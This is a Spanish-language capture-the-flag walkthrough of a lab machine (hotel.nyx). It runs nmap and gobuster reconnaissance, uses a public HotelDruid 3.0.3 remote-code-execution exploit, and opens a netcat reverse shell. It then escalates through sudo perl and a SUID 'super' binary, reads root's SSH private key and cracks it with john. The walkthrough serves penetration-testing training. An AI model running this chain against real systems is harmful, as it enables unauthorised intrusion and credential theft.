Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.59
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.59
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.59 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 y 80.
Comprobamos que es lo que corre por el puerto 80.
Investigamos un poco la pagina web.
Encontramos el dominio hotel.nyx.
Lo agregamos al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:
$ nano /etc/hosts
A continuación, realizamos con la herramienta gobuster un fuzzing web por subdominios, para ello ejecutamos el siguiente comando:
$ gobuster vhost -u http://hotel.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
Encontramos el subdominio reservations.hotel.nyx.
Lo agregamos también al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:
$ nano /etc/hosts
Accedemos al subdominio encontrado.
Investigamos un poco la pagina web.
En el apartado Configure encontramos la versión HotelDruid 3.0.3, Buscamos por internet a ver si existe algún exploit para esta versión.
Encontramos este exploit para esa versión, nos lo descargamos, y ejecutamos el exploit, para ello ejecutamos el siguiente comando:
$ python3 50754.py http://reservations.hotel.nyx --noauth
Nos devuelve una url en la que tenemos Ejecución Remota de Comandos (RCE) a través parámetro cmd de la url, la copiamos, y accedemos a ella.
A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
Ejecutamos la siguiente
reverse shell en
nc url encodeada y la pegamos en el parámetro
cmd de la siguiente manera.
Y obtenemos una shell como www-data.
A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos.
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario perl que lo podemos ejecutar como el usuario sun. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.
Lo ejecutamos de la siguiente manera:
$ sudo -u sun /usr/bin/perl -e 'exec "/bin/sh"'
Enumeramos los binarios con el bit SUID activado, para ello ejecutamos el siguiente comando:
$ find / -perm -4000 2>/dev/null
Como podemos comprobar el binario super tiene el bit SUID activado, siendo una utilidad de Unix diseñada para permitir a usuarios ejecutar comandos con privilegios de superusuario (root) sin necesidad de conceder acceso root total, en el archivo de configuración /etc/super.tab es donde se define qué comandos específicos pueden ejecutar ciertos usuarios.
Visualizamos este fichero, para ello ejecutamos el siguiente comando:
$ cat /etc/super.tab
Nos encontramos que a través del comando secret de la herramienta super ejecutamos el binario rev y lo podemos ejecutar como el usuario root (UID=0 GID=0), este binario revierte el orden de las líneas de un archivo, así como el orden de las palabras de cada línea.
Probamos a leer la clave privada id_rsa del usuario root, para ello ejecutamos el siguiente comando:
$ /usr/bin/super secret /root/.ssh/id_rsa | rev
Conseguimos leer la clave privada id_rsa para acceder a la Máquina Victima vía ssh, nos la copiamos en un archivo, para ello ejecutamos el siguiente comando:
$ nano id_rsa
Extraemos el hash del fichero id_rsa con la herramienta ssh2john, para ello ejecutamos el siguiente comando:
$ ssh2john id_rsa > id_rsa.hash
A continuación, intentamos crackearlo, para ello utilizamos la herramienta john indicando el diccionario rockyou, para ello ejecutamos el siguiente comando:
$ john id_rsa.hash --wordlist=rockyou.txt
Y obtenemos la contraseña super1.
Una vez crackeada la contraseña utilizamos el fichero id_rsa para conectarnos via ssh a la Máquina victima, para ello ejecutamos los siguientes comandos:
$ chmod 600 id_rsa
$ ssh -i id_rsa root@10.0.2.59
¡¡¡Ya somos root!!!
También pudiendo leer las flags de user y root.